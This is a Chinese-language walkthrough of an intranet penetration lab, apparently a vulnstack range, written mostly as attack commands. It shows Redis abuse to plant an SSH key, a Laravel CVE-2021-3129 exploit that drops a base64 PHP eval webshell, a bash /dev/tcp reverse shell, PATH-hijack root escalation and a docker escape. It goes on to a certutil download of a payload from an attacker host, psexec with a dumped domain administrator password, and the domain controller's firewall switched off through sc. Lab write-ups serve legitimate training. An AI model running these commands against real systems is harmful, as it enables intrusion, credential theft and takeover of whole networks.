前言
这套靶场打下来也不是太难,至少学到了环境变量提权知识,靶机下载,环境搭建
网络拓扑图

信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
81/tcp open http nginx 1.14.0 (Ubuntu)
6379/tcp open redis Redis key-value store 2.8.17
无法访问80,81端口是个Laravel v8.29.0 (PHP v7.4.14)
,先放一放
redis未授权访问
这不有个redis嘛,直接就连接上了
那就用ssh公钥登录,来到kali先生成ssh公钥ssh-keygen
,一路回车生成公钥
cat /root/.ssh/id_rsa.pub
,记下公钥内容
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6C3bAhxOGrEi3SCnJJO+EkGEFWEXnp07DlnsYPnpe3l+7Lqco88dYGdmAkhZgLaODkBhsPhJimklDDjY6xj9+NQ3Nm/tV3X+cnUjjqJUiLJVXPO0a4007nRrzDxdjmBY7awzEbZUzcA/u66y6tGtqNJjI+Dxc73p7U3SHFu6DTUx7dQYbgwLGzu2hvzKdW5MaTzFuGUo4GLGTVnPXUb+hPts+kJiKE3niig7EXFVD3sRSp03fsbOD61/iwSjrK9oboOQCcSeZtFN3tRLRCSUG5Y3TO5eRiKC+n+j4e3+gLmcj28zYFc1j3zul2+lH3BgBnhoIKvD6phoxRPkdvDITopSKTdnLjt4/PPMu5Jd+uobVsDEPbQKclrQIqhYEZ5ywYZFDUBe6J2h4xkOD2OtPqCwHpF1HR0W7N8mGn/c8cklAr/yrMaZ1rwEOJ9U9Itl8KFRgf2duTDAxAR/K7XIoEVjKIjtmO4PiloGm6LXVjXn1N1j6W0feTppcDamtV4s= root@kali
redis执行下面命令,set x
前后都要使用多个\n
,因为写入的时候包含了redis等信息
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6C3bAhxOGrEi3SCnJJO+EkGEFWEXnp07DlnsYPnpe3l+7Lqco88dYGdmAkhZgLaODkBhsPhJimklDDjY6xj9+NQ3Nm/tV3X+cnUjjqJUiLJVXPO0a4007nRrzDxdjmBY7awzEbZUzcA/u66y6tGtqNJjI+Dxc73p7U3SHFu6DTUx7dQYbgwLGzu2hvzKdW5MaTzFuGUo4GLGTVnPXUb+hPts+kJiKE3niig7EXFVD3sRSp03fsbOD61/iwSjrK9oboOQCcSeZtFN3tRLRCSUG5Y3TO5eRiKC+n+j4e3+gLmcj28zYFc1j3zul2+lH3BgBnhoIKvD6phoxRPkdvDITopSKTdnLjt4/PPMu5Jd+uobVsDEPbQKclrQIqhYEZ5ywYZFDUBe6J2h4xkOD2OtPqCwHpF1HR0W7N8mGn/c8cklAr/yrMaZ1rwEOJ9U9Itl8KFRgf2duTDAxAR/K7XIoEVjKIjtmO4PiloGm6LXVjXn1N1j6W0feTppcDamtV4s= root@kali\n\n\n"
save
ssh root@192.168.2.183
,免密登录成功
获取到内网ip为: 192.168.52.10 使用fscan进行扫描,整理下信息
192.168.52.30
主机名 WHOAMIANONY\PC1
可能存在ms17-010
http://192.168.52.30:8080 通达OA
192.168.52.20
http://192.168.52.20:8000 Laravel
使用Stowaway搞好socks5代理,这不和前面的81端口一模一样嘛
CVE-2021-3129
出现这种情况,有两种可能。1.真的部署了两个一模一样的环境。2.使用了Nginx反向代理。不管是那种,先拿下一台再说。
我先搞81端口的那台,通过dirsearch只扫描出了一个目录为_ignition/execute-solution
访问后,暴露出调试信息,并且有192.168.52.20:8000,说明是用了Nginx反向代理
谷歌搜索_ignition/execute-solution
,存在CVE-2021-3129。这里卡了我3个小时,老是没有利用成功,最后重装靶机才好的。
使用Laravel_CVE-2021-3129_EXP,并把里面的Laravel_CVE-2021-3129_EXP.py
移到前面下载的CVE-2021-3129文件夹中去,因为要用到phpggc这个文件。
python Laravel_CVE-2021-3129_EXP.py "system('ls');"
,能执行命令
将<?php @eval($_POST['whoami']);?>
用base64加密后,写入木马
python Laravel_CVE-2021-3129_EXP.py "system('echo PD9waHAgQGV2YWwoJF9QT1NUWyd3aG9hbWknXSk7Pz4= | base64 -d > 1.php');"
docker逃逸
无法查看IP地址,cat /proc/1/cgroup
判断是在docker里面
来到/home/jobs
,存在shell文件,并且是root组,执行后是ps命令
demo.c 内容如下
#include <unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
可以使用环境变量进行提权,不过先要反弹一个shell过来
因为无法直接反弹到kali上,所以到ubuntu上开启nc监听,在回到蚁剑执行bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/4444 0>&1'
。可拿到一个反弹shell
继续执行以下命令
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
成功提权为root
进行目录挂载
fdisk -l # 查看分区
mkdir /test
mount /dev/sda1 /test # 将/dev/sda1挂载到/test目录里
ls /test # 查看物理机下的内容
继续信息搜集,找到了密码cat /test/home/ubuntu/password
如果没有密码,可以使用ssh公钥登录,也和上面的redis公钥登录原理一样,docker执行下面命令
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6C3bAhxOGrEi3SCnJJO+EkGEFWEXnp07DlnsYPnpe3l+7Lqco88dYGdmAkhZgLaODkBhsPhJimklDDjY6xj9+NQ3Nm/tV3X+cnUjjqJUiLJVXPO0a4007nRrzDxdjmBY7awzEbZUzcA/u66y6tGtqNJjI+Dxc73p7U3SHFu6DTUx7dQYbgwLGzu2hvzKdW5MaTzFuGUo4GLGTVnPXUb+hPts+kJiKE3niig7EXFVD3sRSp03fsbOD61/iwSjrK9oboOQCcSeZtFN3tRLRCSUG5Y3TO5eRiKC+n+j4e3+gLmcj28zYFc1j3zul2+lH3BgBnhoIKvD6phoxRPkdvDITopSKTdnLjt4/PPMu5Jd+uobVsDEPbQKclrQIqhYEZ5ywYZFDUBe6J2h4xkOD2OtPqCwHpF1HR0W7N8mGn/c8cklAr/yrMaZ1rwEOJ9U9Itl8KFRgf2duTDAxAR/K7XIoEVjKIjtmO4PiloGm6LXVjXn1N1j6W0feTppcDamtV4s= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
将kali的公钥写进后,使用proxychains ssh ubuntu@192.168.52.20
,免密登录成功
还有一种方法是,将kali生成的root账号和密码分别追加到靶机的/etc/passwd
和/etc/shadow
文件中。之后就可以使用密码进行登录
通达OA漏洞
访问前面已经扫到的http://192.168.52.30:8080
,是个通达oa
具体漏洞利用,看这篇文章吧,通达OA前台任意用户登录漏洞+RCE漏洞复现。我这里讲下使用未授权文件上传+文件包含拿shell
成功执行whoami
命令
使用tasklist
发现无杀软,dir
,得到路径C:\MYOA\webroot\ispirit\interface
本来想直接写一句话木马进去的,发现命令中有单引号,无法正常执行,而且dir c:\
也无法正常执行
探测出网情况,能ping通192.168.52.10
做个正向连接的木马,传到192.168.52.10上后,用python开启http服务 python3 -m http.server 8000
使用certutil进行木马的下载
certutil.exe -urlcache -split -f http://192.168.52.10:8000/shell.exe C:\MYOA\webroot\ispirit\interface\shell.exe
等了差不多一分钟,下载完成,并且192.168.52.10也收到下载请求
msf开启全局代理setg Proxies socks5:127.0.0.1:4455
,执行上线
真心建议内网渗透移到cs,但目前来说cs对linux的支持真心不友好
横向移动
进行了下信息收集内网 ip地址为 192.168.93.20
,域名whoamianony.org
192.168.93.30
dc机 主机名:WHOAMIANONY\DC
192.168.93.40
可能存在ms17-010 主机名:WHOAMIANONY\PC2
抓到域控用户名:Administrator 密码:Whoami2021
记得添加路由run post/multi/manage/autoroute
,之后回到msf,批量传psexec
use exploit/windows/smb/psexec
set smbuser Administrator
set smbpass Whoami2021
set smbdomain whoamianony
set rhosts 192.168.93.30 192.168.93.40
run
只得到了192.168.93.40的session,而192.168.93.30认证成功,却没有得到session
这种情况多半是有防火墙,来到pc1上,先切换成WHOAMIANONY\Administrator
用户
dir \\192.168.93.30\c$
,可以查看dc上的文件
使用sc来关闭防火墙
sc \\192.168.93.30 create bindshell binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start bindshell
虽然提示未响应,但不影响,其实防火墙已经被关闭了
再次执行psexec,得到session
打靶结束,下次带来vulnstack5。